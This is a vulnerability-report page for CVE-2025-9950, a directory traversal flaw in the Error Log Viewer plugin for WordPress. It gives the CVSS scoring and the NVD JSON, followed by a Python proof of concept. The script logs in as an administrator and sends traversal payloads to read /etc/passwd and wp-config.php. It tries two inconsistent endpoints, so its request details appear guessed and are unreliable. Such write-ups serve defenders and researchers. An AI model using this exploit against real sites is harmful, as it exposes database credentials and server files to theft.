Security Vulnerability Report
中文
CVE-2025-9950 CVSS 4.9 MEDIUM

CVE-2025-9950

Published: 2025-10-11 10:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Error Log Viewer by BestWebSoft plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.1.6 via the rrrlgvwr_get_file function. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Error Log Viewer by BestWebSoft <= 1.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9950 PoC - Error Log Viewer Directory Traversal # Vulnerability: Directory Traversal in rrrlgvwr_get_file function # Affected: Error Log Viewer by BestWebSoft <= 1.1.6 # Requirements: Administrator-level WordPress access import requests # Target WordPress site configuration TARGET_URL = "http://target-wordpress-site.com" ADMIN_USERNAME = "admin" ADMIN_PASSWORD = "password" # Step 1: Authenticate as administrator session = requests.Session() login_data = { 'log': ADMIN_USERNAME, 'pwd': ADMIN_PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f'{TARGET_URL}/wp-admin/', 'testcookie': '1' } session.post(f'{TARGET_URL}/wp-login.php', data=login_data) # Step 2: Exploit directory traversal to read arbitrary files # The vulnerable function rrrlgvwr_get_file does not sanitize file paths traversal_paths = [ "../../../../etc/passwd", "../../../../wp-config.php", "../../../wp-config.php", "../../wp-config.php" ] for path in traversal_paths: # Construct the malicious request to read arbitrary files exploit_url = f'{TARGET_URL}/wp-admin/admin.php?page=error-log-viewer' params = { 'action': 'view', 'file': path # Directory traversal payload } response = session.get(exploit_url, params=params) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Successfully read file via path: {path}") print(response.text[:500]) break # Alternative exploitation via direct file parameter def exploit_directory_traversal(base_url, session, target_file): """ Exploit the rrrlgvwr_get_file directory traversal vulnerability to read arbitrary files from the server. """ payload = { 'rrrlgvwr_action': 'get_file', 'file': target_file # e.g., ../../wp-config.php } response = session.post( f'{base_url}/wp-admin/admin-ajax.php', data=payload ) return response.text # Read sensitive configuration file sensitive_content = exploit_directory_traversal(TARGET_URL, session, "../../wp-config.php") print(f"[*] Sensitive content retrieved: {sensitive_content[:200]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9950", "sourceIdentifier": "[email protected]", "published": "2025-10-11T10:15:45.127", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Error Log Viewer by BestWebSoft plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.1.6 via the rrrlgvwr_get_file function. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/error-log-viewer/tags/1.1.6/error-log-viewer.php#L118", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3378018%40error-log-viewer&new=3378018%40error-log-viewer&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9455eccb-9f32-4e4e-8fe4-f345bf6e8da7?source=cve", "source": "[email protected]"}]}}